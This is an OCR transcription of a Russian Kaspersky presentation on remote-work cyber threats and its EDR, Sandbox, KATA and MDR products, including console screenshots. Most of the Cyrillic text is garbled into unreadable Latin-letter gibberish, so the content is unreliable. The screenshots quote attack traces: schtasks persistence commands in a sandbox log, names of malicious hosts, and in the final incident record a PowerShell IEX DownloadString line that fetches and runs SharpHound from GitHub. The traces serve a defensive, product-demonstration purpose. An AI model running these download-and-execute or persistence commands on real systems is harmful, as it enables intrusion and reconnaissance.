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KTo meutan paboTaTtb Ha yganeHke?






KTo nomeHsan cBowi pesynbtaT BOO6pakeHua?
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NcTopusa 2020 ropa: yaaneHHas paboTa

TeHeBoe IT

Personal Personal Video le storage Collaboration File transfer/
amail messengers conferencing tools sharing

senicas

- Percantage of workers who usa onfine services not approved by their smployers T taam

Skype @ Zoom Telegram Webex Slack @ Opyrve

Mo aaHHbIM Hawel TenemeTpun, KN6epNPeCcTYNHNKN aKTUBHO MNbiTanMCb MacKMpoBaTb CBOU BPEAOHOCHbIE NPOrpamMmbl Noa,
nonynsipHble MEeCCEHAPKEPbI N NPUNOXXEHNS OJ1S1 OHNaNH-KOH$EPEHLMIA, KOTOPbIE NCMOb30BaNCh YAANEeHHbIMU paboTHNKaMu B
KauecTBe 3aMeHbl NPUBbLIYHOI odnaliH-koMmmyHuKaumm. «JlabopaTtopus Kacnepckoro» o6Hapyxuna 1,66 MnH 3K3eMnnspos
BPEeOOHOCHbIX ¢aiiNioB, pacnpoCTpPaHsieMbIX NOA, BUAOM TakUX NPUNOXKEHWNIA.



Kak HoBble ycnoBus paboTbl BAUSIOT Ha 6e3onacHOCTb KoMnaHnuu?

CoTpyaHuku 6epyT cBou paboume KoMnbIoTEPbI ZLOMOW N NCMOMb3YIOT UX B cnabo

3allLleHHbIX AOMaLUHUX CeT4AaX.

- CoTpyAHMKU NoNy4aloT yaaneHHbI AO0CTYN K KOpNopaTUBHbIM pecypcam 1 MoryT

"I/_ICI'IOJ1b3OBaTb He3auwuLlleHHble NINYHbIe YCTPOI‘/'ICTBa.

Bonblie nopgen nonagaroTCcA Ha NPOCTbI€ YTOBKU MOLLEHHUKOB B CO34aBLLUEMCH «XaoCe».

B cnyyae nHuuaeHTa cneunanmcTam CrioXHO NpmuexaTb Ha MecTo U pasobpaTbcs c

" Npou3oLlepLnM, 3a4acTyio He UMeloT PU3NYECKNIA AOCTYN K aTakKoBaHHbIM KOMIMbIOTEPaM.



Kak ycnoBus ypaneHHon paboTbl BAUGIOT Ha paboTocnocobHoCTb Knbep-npecTynHUKoB?

* OHu 6bIIN NpeKkpacHO NOAroTOBNEHbI K TaKOMY nNepexoay, Bcerga paboTaoT ns goma.
* B nx apceHane nosiBunacb HoBas Tema, BOJIHyloLW,asa abCconoTHO BCEX.

* \ KonnuecTtBo B cneluke HaCTPOEHHbIX N YI3BUMbIX TOYEK BXOAa B KOPNopaTMBHbIe

nHPpPacTPYKTYpbl BHE3ANHO BO3POC/IO.

* B papkBebe pacTeT cnpoc Ha JOCTYMbl K KOPNOPaTMBHBIM CETSM.
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durHaHCcOBOE BIMSIHME C/I0OXKHOro MHLUMAEHTA, BbI3BaHHOro YTe4YKou aaHHbiX, B 2020 roay

‘ " [Wnymensensarosa L $141 Teic,
\ A Bononwmenshme smnatsicorpymncan ———— $134 Thic,
- Obpauenuecoropormmakenepram —— $132 ThIC.

Mpsimble noTepu

n

Oa
CpepHsas cymma pacxonos

KPYMNHOIA KOMNaHUW B MUpE B
pe3ynbTaTe yTeuKu AaHHbIX

<
$347 Teic.

Mocnepyrowwme TpaThbl

_ [ Hossiscompyamaan ] $109 Thic. y

WcTouHuk: IT security economics in 2020, Kaspersky



Knaccudpukauums yrpos

heeetparat. R U7\ W e
Bbicoknii ypoBeHb
MNPOOBWUHY THIE YTPO3bl 3KCMepTN3bl, Py4HOI Nounck
yrpos
\ + ABTOMaTM4eckoe peTeKkTupoBaHue
\ n BbicTpoe pearnpoBaHue Ha

CNIO>XKHbl€ Yyrpo3bl, nponyLweHHble
npeBeHTNBHbIMU CpeacTBamMmm

® __ 3awmTbl -
1VIACCO'BbIE :
erO3b| lllllllllllllllllllllllllllllllllllllllllllllllllllllllll l\!llll.
) ABTOMaTun4yeckoe

6nokupoBaHue
MaKCVMasnbHO BO3MOXXHOIO
yncna yrpos -




| OkcnepTHas 3almTa |

| OnTumanbHag 3awmTa |

| OcHoBa 6e3onacHocTu |

NMoptdonuo JTabopaTopum Kacnepckoro

Expert no6anbHas lNoBblLeHMe PaclumpeHHoe obHapyseHe n OkcnepTHas AETTE
. aHanuTvka BHYTPEHHEN pearvpoBaHie Moppepxka 3aLUMLLEHHOCTY
Securlty yrpos 3aKCMepTn3bl
Ea X5
Kaspersky Kaspersky Kaspersky Kaspersky Ka.spersky Kaspersky Kaspersky
3penbiii ypoBeHb Threat Cybersecurity EDR Unified Monitoring Anti Targeted Incident Security
WB-3KkcnepTuabl Intelligence Training and Analysis Platform Attack Platform Response Assessment
HononHutensHas HarnsoHocTb 1 O6oralleHne Tioom
@) ptlmum 3alwmTa pearvipoBaHyie [aHHbIX
Security
&
Kaspersky Kaspersky Kaspersky Kaspersky
Sandbox EDR pnns 6usHeca Threat Intelligence Security
BasoBas OnTyManbHbIi Portal Awareness
B - akcnepTtusa
S . Paboune mecTa Cetb [aHHble Mopnepxka
ecurity
Foundations
7 (& &
HYBRID g
Kaspersky Kaspersky Kaspersky Kaspersky Kaspersky Kaspersky Kaspersky
Security Embedded Security ans Security pns Security ans Security ansicvcTem Premium Support
IT ans 6usHeca Systems BUPTYalnbHbIX MOYTOBbIX VNHTepHeT- XpaHEHMA HAHHLIX and Professional
Security 1 06nauHbIX cpea cepBepoB Wno308 Services
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Kaspersky
Managed
Detection and
Response



Kaspersky Optimun ‘ :
Security N




Y cuneHune 3aumThbl 3a cCHYET BCTPOEHHbIX MHTErpauunii pewweHunin
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BcTpoeHHbi 6a3oBbii EDR-$yHKUMOHan B gononHeHne k
MOLLUHbIM Bo3MoXkHocTsam EPP (Kaspersky Endpoint
Security pns 6usHeca PaclumpeHHbiin)

AHanus nepeBornpnyinH KpUTN4eCKnx MHUNOEeHToB

O6Hapy>xeHne Ha OCHOBE MHAVKATOPOB KOMMPOMeTaLun
(loC)

KacTomHble BO3MOXXHOCTN CO3AaHNS NHANKATOPOB
komnpomeTauum (loC) n aBTomaTnveckoe pearupoBaHue
Ha paboumnx mecTax Ha UX oCHoBe

Mopneprkka mep No caep>XMBaHUIO N pearnpoBaHUIO Ha
yrpo3bl B ‘0aWH KInK’

O6Hapy>keHue yrpo3 npv NOMOLLW NeCoYHNLbI C
aBTOMaTUYECKNM pearmpoBaHnem

O6nayHaga 1 nokanbHas KOHCOJb




Kaspersky EDR pna 6usHeca OnTumanbHbiiA

ABTomMaTnyeckadq
BnoKMpOBKa MUNIMOHA

pPacnpoOCTpPaHEeHHbIX Yrpo3

* PacnpocTtpaHerH
yrpos3bi

*  OKCMNownTbl HyNEB

* HewnsBecTHOe
BpenoHocHoe 10

* becdaiinosble yr

* HoBble BupycCbI-
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LononHuTenbHble onumn o6Hapy>|<eH|/|9|
Yrpo3 B nojstlyaBToMaTn4eCKOoOM pexmvie

<(&\ PearnposaHue

B OOH KJTNK

> - @)

BbIMOraTenu aKprTI/Ie
AHanns nepBonpuuimH
« [Jpyrve Buasl TpyA nHUMngeHTa
OBHapy>XBaeMbIx
NPOABUHYTbIX YIP
ABTOMaTMYecKkoe OBHapyXeHne n
pearnpoBaHve Ha nepenosble Yyrpos3bl
BknioueHa pyHKUMOHaNbHOCTb
MakcrnmanbHas
Kaspersky Endpoint Security TR lNpocToTa akcnnyaTaumm EnvHasa koHconb EavHbIn areHT

ons busHeca




Apxutektypa Kaspersky Sandbox

O6wuin
Pa6oune ornepaTUBHbINA KeLl BcTpoeHHas
cTaHumn/cepsepbl 3anpoc penyTauum o6bekTa BEPANKTOB 6anaHcunpoBka
(CUHXPOHHDIN peXXnM)
[— | Cetb
I
MonyyeHne oTeeTa V|HTepHeT
°

OTnpaBka NoA03PUTENBHOrO 06beKTa
Ha aHanu3 (aCMHXPOHHBIN pPeXXxrm)

MonyyeHne pesynbTaTa aHanusa

_(= .
=:_sc|: —-

L |
LleHTpannsoBaHHoe
ynpaBneHnve/
OBHOBIEHME U KOHTPO/b
paboTocnoco6HocTH

[

CeTeBoii uHTEpPdEiic
B3aMMOAEeNCTBUS
BpeaoHocHoro MO
C VHTEPHETOM

TpaHcnsauma nieopmaumm o6
o6Hapy>xeHusx B ¢opmarte CEF
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Moppep>xusaeTt
NpoBepKy 06bEKTOB
B ABYX peXnmax —
CUHXPOHHOM U
ACMHXPOHHOM, YTO
No3BONSET:

* OnepaTtumBHO o6pabaTtbiBaTh
Nnopo3puTesnbHble 06beKTbl

* CHM3UTb Harpy3Ky Ha
cepsepbl Kaspersky
Sandbox

* lMoBbICNTb CKOPOCTb 1
adpPekTUBHOCTH
pearvpoBaHus Ha yrpo3sbi







EDRo-demo

Михаил Стеблин
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MNMpeanoxeHune pna NIb-komaHp ¢ BbICOKMM YPOBHEM 3KCNepTU3bl
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SALLNTA KOHEYHbLIX TOYEK OT
CNOXHbIX N APT-MNOOOBHbIX
ATAK

SALLINTA CETU N KOHEYHbIX
TOYEK OT LIEJIEBbIX N APT-
MOAOBHbIX ATAK

9
X Kaspersky
EDR

Bbicokuii ypoBeHb 3almMTbl KOHEYHBIX YCTPOWCTB
1 noBbiweHue appekTnBHocTn SOC

MowHbii EDR-nHCTpYMeEHT B AONONHEHNE K
Kaspersky Security ans 6usHeca (+Kaspersky
Security for Windows Security) n Kaspersky
Hybrid Cloud Security, a Takxxe paboTaeT
COBMECTHO CO CTOPOHHUMU EPP

MpopBrHYTbIE BO3MOXHOCTU O6HapY>XXEHUS Yrpo3,
peTpoCneKTUBHBIN aHann3 u aeTanbHoe
paccnepoBaHune

YHukanbHble uHgukaTopsbl atak (loA), poctyn B
6a3y 3HaHMIA 06 yrpo3ax i conocTaBieHUE C
MaTpuLleld TaKTUK N TEXHUK 3/10YMbILLTEHHNKOB
MITRE ATT&CK

MpoakTuBHbIl nonck yrpos (Threat Hunting)
OnepaTuBHOE LIeHTpann3oBaHHOE pearnpoBaHne
(B T.4. Ha OCHOBe peKoMeHAaLuiA)

Kaspersky
Anti Targeted
Attack

KomnnekcHas XDR nnatdopma ana APT-3awmTsbl ¢
pacLmMpeHHbIM GYHKLMOHANOM 0BHapy>KeHus 1
pearnpoBaHus Ha Yrpo3bl, EANHON CEepBEpPHON
apXMTEKTYPOW U LIEHTPann3oBaHHbIM
ynpaeneHnem u3s ogHol Be6 koHconu

3alumTa noTeHUManbHbIX TOYEK BXOAA YTPO3 Ha
YpoBHe ceTu (+Be6 1 noyTa) U KOHEYHbIX YCTPOMCTB
(B cocTaB nnatdopmbl BkAoueH Kaspersky EDR)
KomnnekcHbIi MHCTpyMeHTapuii pns
06Hapy>KeHNsI MHOFOMEpPHbIX Yrpo3 , AeTanbHOro
paccnepoBaHns, NPOAKTUBHIO MOUCKa Yrpo3 1
LleHTpannM3oBaHHOro pearnpoBaHnNs Ha CJI0XXHbIe
WHLMAEHTbI, BK/IOYasi Mepbl Ha OCHOBE
peKkomMeHaaLMii n pearnpoBaHns Ha YpOBHe
LL/IO30B.



Uto Takoe nnatdpopma Kaspersky Anti Targeted Attack?

NMnatdpopma Kaspersky Anti Targeted Attack (KATA)
coueTaeT paclUMpeHHbI PYHKLMOHAN Ang obHapy>XeHus
yrpo3 Ha ypoBHe ceTu n soamoxkHoctu EDR* n npepcrasnser
cobolii peweHne knacca XDR. OTo komnnekcHoe pelueHune
ANg obHapy>keHns N pearupoBaHUs Ha yrpo3bl Ha OCHOBE
YHNPMLUNPOBAHHOW CEPBEPHON apXUTEKTYPbI U
LLeHTPan30BaHHOro ynpaBneHus N3 eauHon Be6-KoHconu.

NMpaxkTuyeckoe npumeHeHune

+ 3awmTa nonynspHbIX NOTEHUMNaNbHbIX TOYEK MPOHUKHOBEHNS Yrpo3 (CeTb,
Be6, NoYTa, KOHEUHbIE TOUYKN, CEPBEPbl, BUPTyasibHble MaLUUHbI)

* lMpepocTaBneHne noapo6HbIX AaHHbIX O COBLITUSAX Ha ypoBHe Bceit IT-
NHPpPACTPYKTYpbl OpraHusaumm

» KomnnekcHbIN MHCTPYMeHTapuiA AN MHOrOMepHOro o6Hapy>keHus yrpos,
noapo6Horo paccnepoBaHus, NPOaKTMBHOrO Novcka yrpos n
LleHTpanM30BaHHOIrO pearnpoBaHuns Ha CNOXHbI€ UHLNAEHTbI.

* ABTOMAaTU4YECKOE pearupoBaHne Ha YPOBHE L0308

*[OCTYMHbI TOJIbKO MPY NOKYMNKe AONOMIHUTENbHbIX nuueH3nii EDR



ApxutekTypa

TEJNNEMETPUS (KSN)

PEArMPOBAHUE (KSN)

PEMYTALMOHHbBIA 3AMPOC /
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Kaspersky
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AHAJINTUHECKAS KOHCOJ1b

* [MonHasi npospayHocTb

* O6Hapy>XeHune CNOoXHbIX Yrpo3

* Joctynk 6ase Threat Ld
Intelligence

* PaccnepoBaHue Ha ocHoBe
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SOC

&R

pynna pearupoBaHus
Ha MHUUAEHTLI team

S
-

CneumnanucT no
6e3onacHocTU




ABTOMaTnyeckoe pearnposaHme C NOMOLUDbIO LUWTIO30B

Wcnonb3yeTcs B kauecTBe ceHcopa nnaTdopmbi

MouTtoBbili Tpaduk Kaspe.rsky <
yl Security U g E
° sl ek etz AntTupnwmHr dunbtpaumsa Penytaums  AHTucnam
cepBepoB KOHTEHTa URL
o ABTOMaTU4yeckoe
ny6okunii aHanus

pearnpoBaHue

Cere)Bo""' (SPAN) Fny6oknii aHanns

Tpaduk
Kaspersky <

=

WNHTepHeT

ny6okunii aHanus

Anti Targeted
Attack

———

ABToMaTU4ecKoe u nojiyaBTomMaTuyeckoe

CeTeBoli Tpadpuk

pearvpoBaHune
ABTOoMaTU4eckoe
pearvpoBaHune
Kaspersky " —
Security U % g [T
AN NHTEpHEeT- AntTupuwmHr dunbTtpauma PenyTtaums Be6
LLUIO30B KOHTeHTa URL KOHTpOIb

HelicTByeT B KayecTBe ceHcopa MnaTdopmbi
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3BanpeT nepepaun
KoHduaeHumanbHbix ¢paiinos

Bnokuposka
yrposbl

BnokuposaHne
yrposbi

3anpeT nepepaun
KoHduaeHUManbHbIx $paiinos



Uro Takoe Kaspersky EDR?

Kaspersky EDR - mowHbiii EDR-nHCTpymeHT,
pa3paboTaHHbIli ans akcnepTos B obnactu b, SOC n
KOMaHA, pearupoBaHus Ha MHUMOEHTbI Ans NPOABUHYTOMN
a¢dpPeKTMNBHOI 3aLnTbl, 0OBHaAPY>KEHNS, NPOaKTUBHOrO Novcka
N yCTpaHEeHNsI MHOrOypPOBHEBbIX aTakK, HarnpaB/IEHHbIX Ha
NHPPACTPYKTYPY KOHEUYHbIX YCTPOMCTB.

I'IpaKqueCKoe npmmeHeHune

* OdoekTrBHOE OBHapy>xeHue (noaTeep>aeHo oueHkon MITRE
ATT&CK) n onepaTtrBHOE pearnpoBaHue Ha aTaku

M C60p NCXOOHbIX OaHHbIX 1 BEPAVKTOB OJ19 NpoBeneHnA 3¢¢eKTI/IBHOFO
paccnenoBaHnga N peTpoCneKTUBHOro aHanmsaa

* LleHTpanusoBaHHOE ynpaBneHne NHUMOEHTaM1 C pacciefoBaHNeM
Ha OCHOBE PEKOMEHAALIMI Ha BCEX KOHEYHBIX YCTPONCTBaxX

° ﬂpOE]KTI/IBHbIVI MOUCK CIOXXHbIX YrpO3

* EpvHbin arenT ¢ Kaspersky Endpoint Security ans 6usHeca ons
BCEOOBbEMIIOLLEN 3ALLNTBI KOHEYHbBIX TOYEK

» Kaspersky EDR moxeT BxoauTb B cocTas nnatdopmbl Kaspersky Anti
Targeted Attack (KATA), npenocTaBnss peLleHrie ¢ pacLluMpeHHbIMM
ONUMSMY OBHaPY>KEHNS 1 pearmpoBaHuns Ha Yrpo3bl Ha YPOBHE CEeTU U
pabounx MecT (pelueHne knacca XDR)




XPAHEHWE OAHHbIX

CBOP OAHHbIX

y

BepavkTbl

i

O6beKThbl

()

TenemeTpus

Cepsep

-

nK

=

HoyT6yk

MoHUTOPUHr n
BU3yannsauus

Kaspersky Endpoint Detection and Response

AHAJIN3 OAHHbIX N PACCJIEAOBAHUE YITPO3

O6Hapy>xeHue
yrpos

MepepoBoe aBTOMaTU4eckoe
OETEKTUPOBaHUE yrpos

[eTekTnpoBaHue Ha
ocHoge |oC u loA

MpoakTnBHbIN Nonck
yrpos

® L@

PaccnepoBaHue
MHUMNAEeHTa

PeTpocnekTnBHbI
aHann3

Fno6GanbHble paHHbie
06 yrpo3zax

O6oralueHne pgaHHbIMN
maTpuubl MITRE ATT&CK

pi I OO

i
- Y4
‘ —
Pearnposanue

Ha UHUWAEHT



Cxema LeHTPpaIn30BaHHOIo pearmpoeaHmsa Ha MHUNAOEHTDbI

OnoBeLlleHue
06 nHunaeHTe

AHanuns
MHUMNOEeHTa

* Knaccudvkaums nHUnpeHTa
* [NpropnTrsaLVs MHUMAOEHTa

¢ HasHaueHune cneuvanicTta ong
paccnenoBaHus

PaccnepoBaHue
Ha ocHoBe
pekomMeHpaumin

Chaep>kmnBaHue
yrposbl

* V3ongums xocta

» 3anpeT 3anycka UCMOHIEMOro
dalina, LOKYMEHTa UM cKpunTa

+ KapaHTuH nogospuTensHoro daiina

* AHanua aptedakToB

3akpbiTne
VMHUMAEHTa

0

RQRK
MpuHaTNE pelueHuns YcTpaHeHne
MO UHLUMAEHTY VHUMAEHTa 1

BOCCTaHOBJ1IeHune

He BbigBneHo

BbigasneHo
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3aBepLueHue npoLiecca
YpaneHve obbekTa
BbinonHeHne KomaHa Ha XocTe

Bk/itoueHme B CeTb 130MPOBaHHbIX
pabounx MmecTt

,El,pyrl/le LeliCTBMS MO BOCCTaHOBMEHNIO

3akpbiTne
VMHUMAEHTa

MNMpoBepka Ha Hanuuune
WHAVKATOPOB KOMMpOoMeTaLuum
(IoC), o6bHapy>keHHbIX B xoae
paccnepoBaHusi



OcHoBHble npenmyuwecTtBa Nnatdopmbl KATA ¢ EDR

oA

ABTOMaTU3aLMa Py TUHHbBIX onepauui
M HarnsipHoe npeacTaBeHne

S’

ABTOoMaTnyeckuii cbop u
LleHTpann3oBaHHOE XpaHEeHUE JaHHbIX

©

B3a|/|MO.D.eI7ICTBI/Ie C NpeBeHTUBHbIMUA
TexHonormamMmm mn 060rau.l.eHv|e
SIEM/SOC

OpvH nporpaMmMHbIiA NPOAYKT
C eANHOI B€6-KOHCONbIO

ALY

BoicTpeiii nonck loC, aHanus loA n
conocTasneHne ¢ matpuuein MITRE
ATT&CK, poctyn B Tl

@

WNHcTpymeHTapuii pns
NpPoaKTNBHOro noncka yrpos

LleHTpannsoBaHHbIiA
npoLecc pearmpoBaHus
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MpepocTaBngeT KOMMIEKCHbIA eaUHbINA
WHCTPYMEHTapuii 3anThl

3au.|.|/|u.|,aeT MHOXXEeCTBO TOYEeK BXoaa
NOTeHUManbHOW aTakm

Co3paeT LenocTHYo KapTMHY NPONCXOASLLErO
ABTOMaTN3NPYET PYTUHHYIO PYUHYIO paboTy
OnTnMnanpyeT pabouyto HarpysKy aKCnepToB

YMeHbLluaeT Konm4ecTBO JIOXKHbIX Cp868TbIBaHI/II7I
n BpemMd angd aHasin3a

CokpaliaeT cpegHee BpemMsa obHapy>keHus n
pearnposaHusa Ha uHumpeHTbl (MTTD / MTTR)

MoBbiwaeT 3¢ PekTMBHOCTL NpoLecca
pearvpoBaHNs Ha UHLMAEHTbI




KoHconb nnatdopmbl KATA - rnaBHast naHeno

4 11 Mar 2020
Kaspersky Dashboard
@ Anti Targeted
Attack Platform

Alerts by importance

Alerts by status
Dashboard g

]

B Hi

Threat Hunting . I
-=

m
Prevention

User rules ~

Alerts by technology Domains

Storage v
Endpoint Agents

Reports v

Alerts by attack vector

Email senders Email recipients




KoHconb nnatdopmbl KATA - O6Hapy)xeHune yrpos

Processed
Kaspersky Alerts
@ Anti Targeted
Attack Platform

28 Dashboard

P Alens VIP  Created

3/04 21:47 Malicicus host bug.qainf
Threat Hunting 13/04 21:47 = Malicious ho ug.qainfo.

/04 1518 Botnet CHC (CNC.Win32 Generic) tamilwebs sit
Tasks

/041518 Trojan, Suspicious your invoi
Prevention

/041518 Trojan, Suspicious your inve

User rules ~

/04 15:18 Backdoor (2), Trojan (5). DangerousObject, invoice.exe
Trojan-Dropper (
Storage v
Ch\Users\Johr ktophinvitation_message.doc.bat

Endpoint Agents

Trojan, Suspicious

Reports v 0 Trojan.Win3z2 Vobfus.a ji 15 HTTP.Download SecOff

Settings » Trojan-Downloader Agent HTTRCEamp:.C SecOff

Backdoor.Agent HTTR.C&amp;C SecOff

Trojan VEKrypt HTTP.ServerRequest SecOff
Malicious host quiltyfabricsorders.xyz SecOff
Malicicus host quiltyfabricsorders.xyz SecOff

ThA-related Darkhotal) largeurlcache.com SecOff

suspicious_powershell_cmdline_downlo g SecOff
ding

powershall_v

files_with_double_extensions




KoHconb nnatdopmbl KATA - CpabaTbiBaHMe B «necovHnLEe» U NpeaoTBpaLlLeHne
3apa)xeHns B aBTOMaTU4eCKOM peXxume

All alerts > Alert #1059368

Kaspersky
@ Anti Targeted
Attack Platform

28 Dashboard

P Alens 999+

@) Threat Hunting Object information

Tasks G

Prevention

ey

ol

User rules v

Network event
Storage ¥

Date e URL
Endpoint Agent:
ndpoint Agents nation IP Referrer

Reports 11/0 0.64 717 [GET] http

¢ B J 0O o

Settings *>

Scan results




CpabaTtbiBaHMe «B NeCOYHULE» — AepPeBO aKTUBHOCTU, COMOCTaB/IeHNe C MaTpulei
MITRE ATT&CK

All alerts » Alert #135 » Sandbox scan results Mew prevention rule

Kaspersky
@ Anti Targeted ‘ . . . \ \ o T |
Attack Platform \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\D5L Manager]} [MITRE: T1112 Modify Registry}
— The process Swindir\Ssystem32\schtasks.exe has created a job "schtasks.exe” /create /f /tn "DSL Manager” /xml "Suser\Stemp\tmpB8C3.tmp” in Windows Scheduler (MITRE: TL053 Scheduled Task)
Dashboard — The process Swindir\Ssystem32\svchost.exe has created the file in the system folder: Swindir\Ssystem32\Tasks\DSL Manager.
— The process Swindir\$system32\svchost.exe has created a job Swindir\Ssystem32\Tasks\DSL Manager in W ws Scheduler (MITRE: T1053 Scheduled Task!
Alerts — The process Swindir\$system32\schtasks exe has created a job "schtasks.exe” /create /f /tn "DSL Manager Task” /xml ~Suser\Stemp\tmpBBBLtmp” in Windows Scheduler (MITRE: T1053 Scheduled Task]
= The process Swindir\$system32\svchost.exe has created the file in the system folder: Swindir\Ssystem32\Tasks\DSL Manager Task.
Threat Hunting
= The process Swindir\$system32\svchost.exe has created a job Swindir\Ssystem32\Tasks\DSL Manager Task in Windows Scheduler (MITRE: T1053 Scheduled Task).
— The process Swindir\$system32\schtasks exe has created a job "Swindir\$system32\schtasks.exe” /create /tn AJRouter /tr"Suser\$Sappdata\nltest\dwm.exe” /sc minute /mo 1 /F in Windows Scheduler (MITRE: TLO53 Scheduled Task].

— Operation with a file, which is named like & system file but localed in an unconventional folder, was performed (MITRE T1036 Masquerading):

“count™1, ksn_only™0,'name""filename_like_system_tool_in_wrong_place_dropped’ Drop_path™"Suser\\Sappdata\\nltest\\dwm.exe” process":26, Image_path'- $selfpatn\\Sselfname.exe’ Pid:1280, importance ™ Low" interest_level"
— The process Swindir\$system32\svchost.exe has created the file in the system folder: Swindir\Ssystem32\Tasks\AJRouter.

User rules + — The process Swindir\$system32\svchost exe has created a job Swindir\$system32\Tasks\AJRouter in Windows Scheduler (MITRE: T1053 Scheduled Task,
Storage v

Endpoint Agents

Reports

Settings »




KoHconb nnatdopmbl KEDR - onncanme conoctrasnenus ¢ matpuueit MITRE ATT&CK

All events » Process started » T1035_Service_Execution

Kaspersky
@ Anti Targeted
Attack Platform OA namel(s T1035_Service_Execution

Medium

Dashboard
Alerts

Threat Hunting Ao B A
@) Everms Alerts

Tasks

Prevention DeSCI‘IptiOH

ser rules v Start of Windows service was detected. Adversaries can create and run malicious services
ser rules

Storage v Recommendations

Endpoint Agents Make sure that the activity is legitimate, determine its origin and purpose. Find out what exactly was launched as a service and check the launch arguments

Reports v MITRE Technique

Settings >
MITRE ID Name Tactics Source reference

Service Execution Execution

Description: £

Mitigation: Ens

Possible false positive

Services can be launched by authorized users and legitimate applications




NMnatdopma KEDR: PaccnepoBaHmne nHumpeHTa

All events > Process started
Kaspersky
Anti Targeted
Attack Platform

Dashboard

Alerts

Threat Hunting =] crond (22 v R -sh(w7 v [=] find (€ 56 v
Tasks

Prevention

Userrules v

[ Create a preventionrule [ Create a task
Storage v

Details Events
Endpoint Agents

Reports v Process started Parent process

Settings »

"Just/bin/rm" 99222

99281 T find /var/log/sa/ ( -name sar?? -o -name sa?? -o -name sar??.xz -o -name sa?
; ?.XZ -0 -name sar??.gz -o -name sa??.gz -o -name sar??.bz2 -o -name sa??.bz
rm -f /var/log/sa/sar28 2) -mtime +28 -execrm -f {} ;

6008167a7b6ee9cc7e7d70351eca5bdlc MD5 4d30ee9e49df8eaaldb04b2fa7249e5f

1e1d365501809c58ab9d505b26d67b30783627d590¢c2979¢d37dd181987¢ St > dleel16f9dcc35a0c8205b05d824b42a506ad4776fe0986584dcc5dedfas
5142 4adc

61 KB

System info
16 July 2021 00:53:04.699 Y
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MpuvHuMn pa6oTtbl Kaspersky MDR
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Nutepdeiic Kaspersky Managed Detection and Response

PresalesDemolab

Monitoring

Incidents.

A

Settings

About

Incidents

ID / Created

108655
10 JUL 2020

108600
10 JUL 2020

108582
10 JUL 2020

10esze
10 JUL 2020

108554
10 JUL 2020

108656
10 JUL 2020

&

Priority

| NommaL |

| NomMAL |

¥ Q

Status

CLOSED

ON HOLD

CLOSED

Reselution Summary

True positive

True positive

Possible malicious activity on PC JERRY.soc lab

True positive

True positive

object activity on host JERRY.soc lab

True positive

10 entries per page v Entries: 1-6 / 6 total

Kaspersky
Managed Detection and Response

Monitoring

Incidents

Assets

Settings

About

Assets

Asset name

DC

SKAB-X64-RS5
TS-KSC
DESKTOP-P1IHFDO6
MINILAPTOP
WIN-143274GOVFK
VN-VIRTUALBOX
TS-USERS
DESKTOP-6QEB30OF

TS-EXCHANGE

1 2 Next —

Opening a malicious document on JERRY.soc.lab

Suspicious activity on host RENAT.scc lab

nfected Memory found on JERRY.soc.lab

Malicious Windows Managment Instrumentation consumer

Carbanak/Cobalt-related attack on host JERRY soc lab

10 entries per page v

Assets

JERRY.soc.lab

RENAT soc lab, dcl soc lab

JERRYsoc

JERRY.soc.|

JERRY.s0c.|

JERRYsoc

Applications

KES 11.4.0.233

KES 1111126

KES 11.4.0.233

KES 11.2.0.2254

KIS 21.115.500¢

KEA 3911199

KEA 3.9.3.411

KEA 3.9.3.411

KIS 21.115.500a

KES 11.4.0233

Entries: 1-10 / 20 total

Tactics

TAQO0Z Execution

TAO0O05: Defense Evasion, TAOO03:Persistence, 1 more

TAOQOQO3:Persistence

TAQ002 Execution, TAO003:Persistence

TAO0008: Lateral Movernent, TAOOO3:_Persistence, 1 more

Interfaces

Receive a CSV report by email

Last seenago |

about 3 hours
about 3 hours
about 4 hours
2 days
3 days
4 days
5 days
8 days
9 days

9 days




Nutepdeiic Kaspersky Managed Detection and Response

Managec o ar

PresalesDemolab

Monitoring

Incidents

Settings

About

Incident 108600

Summary Responses(0) Communication (0)  History (20)

Summary Suspicious activity on host RENAT soc lab
HIGH
CLOSED
Activity on RENAT.soc lab is part of a Red Team Security Assessment.
Resclution True positive
Created 07/10/2020 13:32
Updarted Q7/17/2020 18:01

MITRE Tactics

MITRE Techniques

ch_Order_

Affected

Affected assets (2)
Asset name AssetID

RENAT.soc.lab 0xBCABCO0728DE44D926A300B68D85A6B99

dclsoclab 0xB3D3E772DF7B2BASELIAG3SFE599016032

Description

At 2020.03.26 13:27:41 (UTC] on PC RENAT.soc.lab detected SharpHound and Powersploit activity. All multiple powershell commands were executed by the same way.
n the first part of the command line

powershell IEX(New-Object Net Webclient). DownloadString( https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1):

n the second part of the command line:
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